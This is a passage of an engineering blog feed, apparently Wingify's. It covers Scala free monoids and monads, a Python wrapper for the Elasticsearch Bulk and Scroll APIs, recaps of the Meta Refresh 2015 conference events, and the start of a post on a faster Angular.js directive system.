aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Other Free Objects</h1> One important free object is the <code class="language-text">FreeMonoid</code>. It turns out that the functor <code class="language-text">List[_]</code> is actually a Free Monoid. This can be shown by defining <code class="language-text">nat</code> for a list: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def nat[A,B](f: A=&gt;B)(implicit m: Monoid[B]): (List[A] =&gt; B) = (l: List[A]) =&gt; l.map(f).reduce((x,y) =&gt; m.append(x,y))</code></pre></div> Essentially, the natural transformation consists of taking each element of the list, applying the function <code class="language-text">f</code> to it, and then appending the elements. A somewhat more interesting free algebra is the <code class="language-text">FreeGroup</code>. A <code class="language-text">Group</code> is a <code class="language-text">Monoid</code>, but with an additional operation - inversion. Inversion - denoted by <code class="language-text">~x</code> - has the important property that for any <code class="language-text">x</code>, <code class="language-text">(~x) |+| x = zero</code> and <code class="language-text">x |+| (~x) = zero</code>. I.e., appending two elements together can always be undone by appending a new element. For an example of a group, consider the integers - <code class="language-text">x |+| y = x + y</code>, and <code class="language-text">~x = -x</code>. The type <code class="language-text">FreeGroup[A] then consists essentially of a</code>List[A]<code class="language-text">, with the caveat that</code>a<code class="language-text">and</code>~a` cannot occur adjacent to each other in the list. Similarly, a <code class="language-text">FreeMonad</code> is a way of taking any <code class="language-text">Functor</code> and getting an abstract monad out of it. This is implemented <a href="https://github.com/scalaz/scalaz/blob/series/7.2.x/core/src/main/scala/scalaz/Free.scala">in scalaz</a>, so the naming is a little different. Given an object <code class="language-text">x: Free[S,A]</code> (for <code class="language-text">S[_]</code> a <code class="language-text">Functor</code>), <code class="language-text">x</code> has the method <code class="language-text">foldMap[M[_]](f: S ~&gt; M)(implicit M: Monad[M]): M[A]</code>. This method implements the natural transformation. In the language we are using here, we could define <code class="language-text">nat</code> as follows: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def nat[S,M,A](f: S[A] =&gt; M[A])(implicit m: Monad[M]): (Free[S,A] =&gt; M[A]) = (x:Free[S,A]) =&gt; x.foldMap(f)(m)</code></pre></div> As an illustrated example of how free monads work, <a href="http://polygonalhell.blogspot.com/2014/12/scalaz-getting-to-grips-free-monad.html">this article</a> discusses how to represent a Forth-like DSL with the <code class="language-text">FreeMonad</code> and then interpret it via a mapping from <code class="language-text">Free =&gt; State</code>. <a href="http://eed3si9n.com/learning-scalaz/Free+Monad.html">Free Monad</a>. <a href="http://underscore.io/blog/posts/2015/04/14/free-monads-are-simple.html">Free Monads are Simple</a> <a href="http://underscore.io/blog/posts/2015/04/23/deriving-the-free-monad.html">Deriving the Free Monad</a></content:encoded><author>Chris Stucchio</author></item><item><title><![CDATA[SuperElasticsearch - More Python goodness in elasticsearch-py]]></title><description><![CDATA[We have been using Elasticsearch for storing analytics data. This data stored in Elasticsearch is used in the Post Report Segmentation…]]></description><link>https://engineering.wingify.com//posts/superlelasticsearch/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/superlelasticsearch/</guid><pubDate>Wed, 07 Oct 2015 00:00:00 GMT</pubDate><content:encoded>We have been using <a href="https://www.elastic.co/products/elasticsearch">Elasticsearch</a> for <a href="http://engineering.wingify.com/posts/elasticsearch-for-analytics/">storing analytics data</a>. This data stored in Elasticsearch is used in the Post Report Segmentation feature in VWO. So the amount of data getting stored in Elasticsearch is tied up to the number of campaigns currently being run by our customers. And often we need to have custom tooling to work with this data and the requirements of such tooling are also not common. This blog post is about how we solved some issues by building some missing blocks in the <a href="https://github.com/elastic/elasticsearch-py">Official Elasticsearch Python</a> client while working on this project. The code base where implementation of this feature (Post Report Segmentation) lies is all written in Python. When we were starting out, we had to decide which client to use because there were many out there. Eliminating some was really easy because they were tied to certain frameworks like <a href="http://www.tornadoweb.org/en/stable/guide.html">Tornado</a> and <a href="https://twistedmatrix.com/trac/">Twisted</a>. And we were not sure which path to take initially so we decided to keep things simple, avoid early optimization and not use any of these framework heavily dependent on Non-Blocking IO. If we needed any of that later, Gevent could be put to use (in fact that’s exactly what we did). Even for the simpler way there were quite a few options. The deciding factors for us were: <ol> <li>Maintenance commitment from the author</li> <li>Un-opinionated</li> <li>Simple design</li> </ol> Considering all these factors, we decided to go with the Official Python Client for Elasticsearch. And we didn't really come across any issues and problems according to our simple requirements. It is fairly extensible and comes with some standard batteries included with it. For everything else, you can extend it - thanks to its simple design. It worked well for a while until we had to add some internal tooling where we needed to work a lot with Elasticsearch's <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-scroll.html">Scroll API</a> and <a href="https://www.elastic.co/guide/en/elasticsearch/reference/1.4/docs-bulk.html">Bulk APIs</a>. <h2 id="bulk-api" style="position:relative;"><a href="#bulk-api" aria-label="bulk api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bulk API</h2> Elasticsearch's Bulk API lets you club together multiple individual API calls into one. This is used a lot in speeding up indexing and can be very useful if you are doing a lot of write operations in Elasticsearch. The way you work with Bulk APIs is that you construct a different kind of request body for bulk requests and use the client for sending that request data. The HTTP API that Elasticsearch exposes for bulk operations is semantically different than the API for individual operations. Consider this. If you were to index a new document, update an existing document and delete another existing document in Elasticsearch, you can do it like so: <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">from elasticsearch import Elasticsearch client = Elasticsearch(hosts=['localhost:9200']) client.index(index='test_index_1', doc_type='test_doc_type', body=dict(key1='val1')) client.update(index='test_index_3', doc_type='test_doc_type', id=456, body={ 'script': 'ctx._source.count += count', 'params': { 'count': 1 } }) client.delete(index='test_index_2', doc_type='test_doc_type', id=123)</code></pre></div> If you were to achieve the same thing using Bulk APIs, you would end up writing code like this: <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">from elasticsearch import Elasticsearch client = Elasticsearch(hosts=['localhost:9200']) bulk_body = '' # index operation body bulk_body += '{ "index" : { "_index" : "test_index_1", "_type" : "test_doc_type", "_id" : "1" } }\n' bulk_body += '{ "key1": "val1" }\n' # update operation body bulk_body += '{ "update" : {"_id" : "456", "_index" : "test_index_3", "_type" : "test_doc_type"} }\n' bulk_body += '{ "script": "ctx._source.count += count", "params": { "count": 1 } }\n' # delete operation body bulk_body += '{ "delete" : { "_index" : "test_index_2", "_type" : "test_doc_type", "_id" : "123" } }' # finally, make the request client.bulk(body=bulk_body)</code></pre></div> There is a ton of difference in how bulk operations work on the code and API level as compared to individual operations. <ol> <li>The request body is considerably different in Bulk APIs as compared to their individual APIs.</li> <li>The responsibility of properly serializing request body is now shifted to the developer whereas this can be handled at the client level.</li> <li>Serialization format itself is a mixup of JSON and new-line character separated string.</li> </ol> If you are depending a lot on bulk operations, these problems will bite you when you start using it at a lot of places in your code. The flexibility of manipulating bulk request bodies at will lacks with the current support for Bulk APIs. The official client as well does not really take care of this issue - not blaming because the author's objective is to be as unopinionated as possible and this also gave us the chance to do it our way instead of adopt an existing implementation. We wanted to use Bulk API the same way we would use individual APIs. And why shouldn't it be the same! They are essentially individual operations put together and executed on a different end-point. Our solution for this was to provide a BulkClient which would allow you to start a bulk operation, execute bulk operations in a way that you would execute individual operations and then when you want to execute them together, it will make the required request body and use the Elasticsearch client to make the request. Exposing bulk operations in a way that semantically look the same as individual operations required us to implement APIs similar to individual APIs on a very high level in the <code class="language-text">BulkClient</code>. This is how the <code class="language-text">BulkClient</code> works: <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">from elasticsearch import Elasticsearch client = Elasticsearch(hosts=['localhost:9200']) bulk = BulkClient(client) bulk.index(index='test_index_1', doc_type='test_doc_type', body=dict(key1='val1')) bulk.delete(index='test_index_2', doc_type='test_doc_type', id=123) bulk.update(index='test_index_3', doc_type='test_doc_type', id=456, body={ 'script': 'ctx._source.count += count', 'params': { 'count': 1 } }) resp = bulk.execute()</code></pre></div> <h2 id="scroll-api" style="position:relative;"><a href="#scroll-api" aria-label="scroll api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Scroll API</h2> The next problem we faced was with Scroll API. According to the documentation: <blockquote> While a search request returns a single "page" of results, the scroll API can be used to retrieve large numbers of results (or even all results) from a single search request, in much the same way as you would use a cursor on a traditional database. </blockquote> Scroll API is helpful if you want to work with a large number of documents - more like get them out of Elasticsearch. The problem with Scroll API is that it requires you to do a lot of book keeping. You have to keep <code class="language-text">scroll_id</code> after every iteration to get the next set of documents. Depending upon your application, there is probably no work around. However, our use-case was to get a large number of documents all together. You can do that without Scroll API as well i.e. by using the size parameter where you can tell Elasticsearch how many documents to return and you can ask it to return all documents by using the Count Search API first and then passing the size, but that will usually time out (or at least it did for us). So what we did was scroll Elasticsearch in a loop and do the book keeping in the code. And that was simple as well until we had to do it at multiple places <ul> <li>there was no uniform way to do that and a lot of code repetition was done as well.</li> </ul> Our solution to this problem was to create a separate wrapper API only for this purpose and use that everywhere in our project. So we wrote a simple function that would do the book-keeping for us and it could be used like so: <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">def scrolled_search(es, scroll, *args, **kwargs): ''' Iterator for Elasticsearch Scroll API. :param es: Elasticsearch client object :param str scroll: scroll expiry time according to Elasticsearch Scroll API docs ... Note:: this function accepts `*args` and ``**kwargs`` and passes them as they are to :meth:`Elasticsearch.search` method. ''' ... es = Elasticsearch(hosts=['localhost:9200']) for docs in scrolled_search(es, '10m', index='tweets'): for doc in docs: print doc</code></pre></div> <h3 id="iterator-based-scrolling-in-elasticsearch-py" style="position:relative;"><a href="#iterator-based-scrolling-in-elasticsearch-py" aria-label="iterator based scrolling in elasticsearch py permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Iterator based Scrolling in elasticsearch-py</h3> We must highlight that the official client also added support for iterator based scrolling later in the official client as a helper. We had already started using our solution in our project and we find ours is slightly different than theirs. For more details, <a href="https://elasticsearch-py.readthedocs.org/en/master/helpers.html#elasticsearch.helpers.scan">read the docs here</a>. <h2 id="superelasticsearch---elasticsearch-py-with-goodies" style="position:relative;"><a href="#superelasticsearch---elasticsearch-py-with-goodies" aria-label="superelasticsearch elasticsearch py with goodies permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>SuperElasticsearch - elasticsearch-py with goodies!</h2> Our solution to both the problems described earlier were based on the official Elasticsearch client. After having solved these two problems, we figured that instead of passing around the client object to our new API, it will be nicer if we can use the new APIs in a way that it feels a part of the client itself. So we went ahead and sub-classed the existing client class Elasticsearch to make it easier to use the new APIs. You can use the sub-classed client SuperElasticsearch like so: <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">from superelasticsearch import SuperElasticsearch client = SuperElasticsearch(hosts=['localhost:9200']) # Example of using Scrolled Search for doc in client.itersearch(index='test_index', doc_type'tweets', scroll='10m'): # do something with doc here print doc # Example of using Bulk Operations bulk = client.bulk_operation() bulk.index(index='test_index_1', doc_type='test_doc_type', body=dict(key1='val1')) bulk.delete(index='test_index_2', doc_type='test_doc_type', id=123) bulk.update(index='test_index_3', doc_type='test_doc_type', id=456, body={ 'script': 'ctx._source.count += count', 'params': { 'count': 1 } }) resp = bulk.execute()</code></pre></div> This has also made it easy for us to do releases of SuperElasticsearch. SuperElasticsearch does not depend on the official client in ways that it will break compatibility with new releases of the official client, or if it will then we can make the adjustments and come up with a new release. Basically it has been written in a way to work with new versions of the official client with minimum friction. If a new release of the official client comes out, then you should be able to upgrade to the new Elasticsearch client without upgrading SuperElasticsearch. This way we can try to keep developing SuperElasticsearch at its own pace and release only when we have new features to release or when it breaks compatibility. It also makes it easier for you to use the new APIs because you get all of them with the client object itself. SuperElasticsearch is available on <a href="https://github.com/wingify/superelasticsearch">Github</a>.</content:encoded><author>Vaidik Kapoor</author></item><item><title><![CDATA[Wingify at Meta Refresh 2015]]></title><description><![CDATA[After hosting the Meta Refresh Delhi Runup Event, it was time for us at Wingify to prep up for MetaRefresh. We were very excited to…]]></description><link>https://engineering.wingify.com//posts/meta-refresh-conference/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/meta-refresh-conference/</guid><pubDate>Tue, 02 Jun 2015 00:00:00 GMT</pubDate><content:encoded>After hosting the <a href="/posts/post-meta-refresh-run-up/">Meta Refresh Delhi Runup Event</a>, it was time for us at <a href="https://wingify.com/">Wingify</a> to prep up for <a href="https://metarefresh.in/2015/">MetaRefresh</a>. We were very excited to contribute back to the community by not just sponsoring MetaRefresh, but also by adding content to the conference through a talk and a workshop, both focused towards Web Performance. We started off our journey from Delhi to Bangalore on 15th May, a day before the conference, and were welcomed by awesome weather at Bangalore. We took off early the next morning and grabbed our bags to march towards MLR Convention Centre, Bangalore to setup our company booth. The setup didn’t take much time, and we were ready to welcome fellow attendees to share more about Wingify through our stall. While speaking to the attendees, many expressed their interest to get interviewed at Wingify. Usually, we redirect the interested candidates to mail their resume to careers@wingify.com and follow the procedure, though this time, we gave it a unique touch, while using a Hack developed by <a href="http://paraschopra.com/">Paras</a> (our Founder &#x26; CEO), on a hack night. It was a mystery containing different hints that lead to the next clue, solved using browser’s developer console. It was great fun to watch attendees trying their best to crack the hints and unravel the mystery, though only few were able to solve it. Some moments captured during Meta Refresh 2015: <div id="fifth-elephant-gallery"> <img src="/images/2015/03/conference/0.jpg"> <img src="/images/2015/03/conference/1.jpg"> <img src="/images/2015/03/conference/3.jpg"> <img src="/images/2015/03/conference/4.jpg"> <img src="/images/2015/03/conference/5.jpg"> <img src="/images/2015/03/conference/6.jpg"> <img src="/images/2015/03/conference/7.jpg"> <img src="/images/2015/03/conference/8.jpg"> <img src="/images/2015/03/conference/9.jpg"> <img src="/images/2015/03/conference/10.jpg"> <img src="/images/2015/03/conference/11.jpg"> <img src="/images/2015/03/conference/12.jpg"> <img src="/images/2015/03/conference/13.jpg"> <img src="/images/2015/03/conference/14.jpg"> <img src="/images/2015/03/conference/15.jpg"> <img src="/images/2015/03/conference/16.jpg"> </div> A generic issue discussed in majority of the talks was regarding the maintenance of mobile web version of businesses after the successful creation of native apps on most popular mobile platforms. Several supporting /contradictory arguments were made with regard to this topic, though the most logical were in favor of supporting mobile web version as well. Several speakers shared their experience of the efforts involved in maintaining the web version or making the web experience as great as the one delivered through the native apps. Performance was another major topic discussed in several talks, involving not just the networking performance of web applications, but also the rendering performance as well. Another big discussion revolved around achieving jank free performance while performing animations in not just the web applications, but games as well. Several techniques and approaches were discussed in the talks that shared the experience of speakers on the quest to achieve 60fps in web applications. We had a great time being part of MetaRefresh 2015, and look forward to more such events, so stay tuned with our different social media channels (<a href="https://twitter.com/wingify_engg">Twitter</a>, <a href="https://www.facebook.com/Wingify">Facebook</a>) to meet us at another conference.</content:encoded><author>Apoorv Saxena</author></item><item><title><![CDATA[Meta Refresh 2015 Delhi Run-up Event hosted at Wingify]]></title><description><![CDATA[Giving back to the community has always been a priority at Wingify, be it through open sourcing internal projects or via organizing…]]></description><link>https://engineering.wingify.com//posts/post-meta-refresh-run-up/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/post-meta-refresh-run-up/</guid><pubDate>Mon, 01 Jun 2015 00:00:00 GMT</pubDate><content:encoded>Giving back to the community has always been a priority at <a href="https://wingify.com/">Wingify</a>, be it through open sourcing internal projects or via organizing / sponsoring community events, the most recent being <a href="https://metarefresh.talkfunnel.com/2015-delhi/">Meta Refresh Delhi Run-up Event</a> organized and hosted by Wingify on 21st March 2015. <a href="https://in.linkedin.com/in/tonysimonodyssey">Tony Simon</a> from HasGeek was present from the MetaRefresh Team to help us host this event and help us make it more awesome. <div style="text-align:center; margin: 10px;"> <img src="/images/2015/03/1.jpg"> <div style="margin: 10px;"> Siddharth Deswal speaking on “How to Communicate Better with Marketing, Sales and Other 'Business' Types” </div> </div> The event started on time (10:30am) with Tony introducing MetaRefresh, HasGeek and Wingify to the attendees. <a href="https://twitter.com/siddharthdeswal">Siddharth Deswal</a>, Marketing Guru at Wingify kickstarted the event with his talk on "How to Communicate Better with Marketing, Sales and Other 'Business' Types", along with shots of humour. The talk started with the narration of his own experience of wearing different hats at Wingify with him helping different departments. He concluded on a great note saying that different departments shouldn't be isolated and must focus on sharing and imparting knowledge to people from other departments, especially the ones who are interdependent; the best example being that marketing team should also try to understand the technical aspects related to feature development. <div style="text-align:center; margin: 10px;"> <img src="/images/2015/03/2.jpg"> <div style="margin: 10px;">Apoorv Saxena describing browser evolution in his talk on “Hacking to be Performant?” </div> </div> A pure technical talk related to web performance, started off with a poll to find out how many of the participants measure performance regularly and have it part of their deployment process, the feedback from the attendees depicted negligible measures taken to continuously monitor product performance. Next was the discussion of the reasons on why performance mattered, which was followed up with the discussion of various hacks that people employed to bring performance to their applications. The core part of this talk discussed the difference between using hacks versus following different approach during development, and how each of them paid in the long run. Slides: <a href="http://www.slideshare.net/ApoorvSaxena/hacking-to-be-performant">www.slideshare.net/ApoorvSaxena/hacking-to-be-performant</a> <div style="text-align:center; margin: 10px;"> <img src="/images/2015/03/3.jpg"> <div style="margin: 10px;">Vipul Taneja speaking on “Landing Pages Optimization” </div> </div> Next talk was presented by <a href="http://vipultaneja.com/">Vipul Taneja</a> from AdSparkx media on "Landing Pages Optimization - Things you can do to 'Test'", with him briefing the attendees about his visit to Vegas and his observance about it during that time. His talk comprised of various techniques that his company uses to maximize ROI on different landing pages of businesses that hire them. The talk comprised of the discussion of both White Hat and Black Hat techniques as well for increasing landing page conversions. <div style="text-align:center; margin: 10px;"> <img src="/images/2015/03/4.jpg"> <div style="margin: 10px;">Taruna Manchanda speaking on “How to optimize your webpages - lessons learnt from 101 VWO customers' A/B tests” </div> </div> Next speaker was <a href="https://in.linkedin.com/in/tarunamanchanda">Taruna Manchanda</a>, who shared her experiences and learnings while taking care of all paid acquisitions and customer case studies, as part of the Digital Marketing Team at Wingify. The attendees gathered great insights about how to best A/B Test a webpage along with the focus on what needs to be measured and how. Slides: <a href="http://www.slideshare.net/tarunamanchanda23/7-cro-lessons-learned-after-going-through-100s-of-ab-testing-case-studies">www.slideshare.net/tarunamanchanda23/7-cro-lessons-learned-after-going-through-100s-of-ab-testing-case-studies</a> <div style="text-align:center; margin: 10px;"> <img src="/images/2015/03/5.jpg"> <div style="margin: 10px;">Saptarshi Chatterjee speaking on “How to automatically generate Tests for your JavaScript file” </div> </div> Last on the speaker line up was <a href="https://in.linkedin.com/pub/saptarshi-chatterjee/13/226/55a">Saptarshi Chatterjee</a>, Technical Lead at McKinsey, presented on "How to automatically generate tests for your JavaScript file", while introducing his open source project to the world named YoSapy([yeo]man generator + [Sap]tarshi). He started off with the discussion of the importance of test cases and how he came across the idea to automate the test case creation process. He gave a hands-on demo of his project and took the rest of his time out to answer questions from the audience on how easy to have it part of their existing projects and also about how to extend / contribute to the same further. Slides: <a href="http://www.slideshare.net/sapta9433/auto-generate-customized-test-suit-for-your-angularjs">www.slideshare.net/sapta9433/auto-generate-customized-test-suit-for-your-angularjs</a> <h3 id="to-sum-up" style="position:relative;"><a href="#to-sum-up" aria-label="to sum up permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>To Sum up</h3> It was a great experience hosting this event. Thanks to HasGeek for helping us with organizing the event. We hope that the conference will continue to happen in the years to come. If you were present at the run-up event and met us there, stay tuned with our different social media channels(<a href="https://twitter.com/wingify_engg">Twitter</a>, <a href="https://www.facebook.com/Wingify">Facebook</a>) to again be a part of another event going to be hosted by us. If you have any suggestions to make your experience better, go ahead and leave comments and we will get back to you. If you like what we do at Wingify and want to join the force, we will be more than happy to work with you. <a href="https://wingify.com/careers">As always, we are looking for talented people to work with us</a>!</content:encoded><author>Apoorv Saxena</author></item><item><title><![CDATA[Q-Directives - A Faster Directive System For Angular.js]]></title><description><![CDATA[Performance matters, and an Angular.js developer would especially know it. Several watchers in a digest cycle can often be a bottleneck, and…]]></description><link>https://engineering.wingify.com//posts/q-directives/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/q-directives/</guid><pubDate>Tue, 05 May 2015 00:00:00 GMT</pubDate><content:encoded>Performance matters, and an Angular.js developer would especially know it. Several watchers in a digest cycle can often be a bottleneck, and <a href="http://stackoverflow.com/questions/9682092/databinding-in-angularjs">Angular doesn't recommend having more than 2,000 of them in your application</a>. We are proud to announce <a href="/q-directives/">q-directives</a>, a brand new and fast directive system for Angular.js, that takes the watcher optimization to a whole new level. It was a result of several <a href="http://jsperf.com">jsperf</a> tests and Chrome Timeline runs. <div style="text-align: center;"> <a href="https://github.com/wingify/q-directives" style="padding: 20px 40px; font-size: 24px;" class="btn btn-primary">Q-Directives on Github</a> </div> <h2 id="motivation" style="position:relative;"><a href="#motivation" aria-label="motivation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Motivation</h2> <a href="https://app.vwo.com">VWO</a> is single-page application made entirely in Angular.js. When designing a detailed reporting system for campaigns in Angular.js, we faced troubles with rendering large amounts of data using Angular directives. In one of the report pages, the application had registered 15,000+ watchers, especially due to the way <code class="language-text">ng-repeat</code> works. With q-directives and a revamped directive system, the number of watchers for a <code class="language-text">q-repeat</code> directive (replacement for the <code class="language-text">ng-repeat</code> directive) was brought down to just 1. So whenever the list changes, only one watcher gets fired. <h2 id="performance-benchmarks" style="position:relative;"><a href="#performance-benchmarks" aria-label="performance benchmarks permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Performance Benchmarks</h2> Below stats are a rendition of the Chrome (version 37) timeline for the following use case: A table containing 216 rows repeated by q-repeat. Each row has about 10 columns containing about 50+ Angular directives each (Original). The optimized version has those Angular directives replaced with q-directives, and ng-repeat is replaced by q-repeat. Data is collected over 5 samples for both Original and Optimized situations. <h3 id="initial-table-render" style="position:relative;"><a href="#initial-table-render" aria-label="initial table render permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Initial table render</h3> <h4 id="original" style="position:relative;"><a href="#original" aria-label="original permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Original</h4> <a href="/images/2015/05/1.png" target="_blank"><img src="/images/2015/05/1.png" alt="graph"></a> <h4 id="optimized" style="position:relative;"><a href="#optimized" aria-label="optimized permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Optimized</h4> <a href="/images/2015/05/2.png" target="_blank"><img src="/images/2015/05/2.png" alt="graph"></a> <h4 id="optimized--disabling-nganimate" style="position:relative;"><a href="#optimized--disabling-nganimate" aria-label="optimized disabling nganimate permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 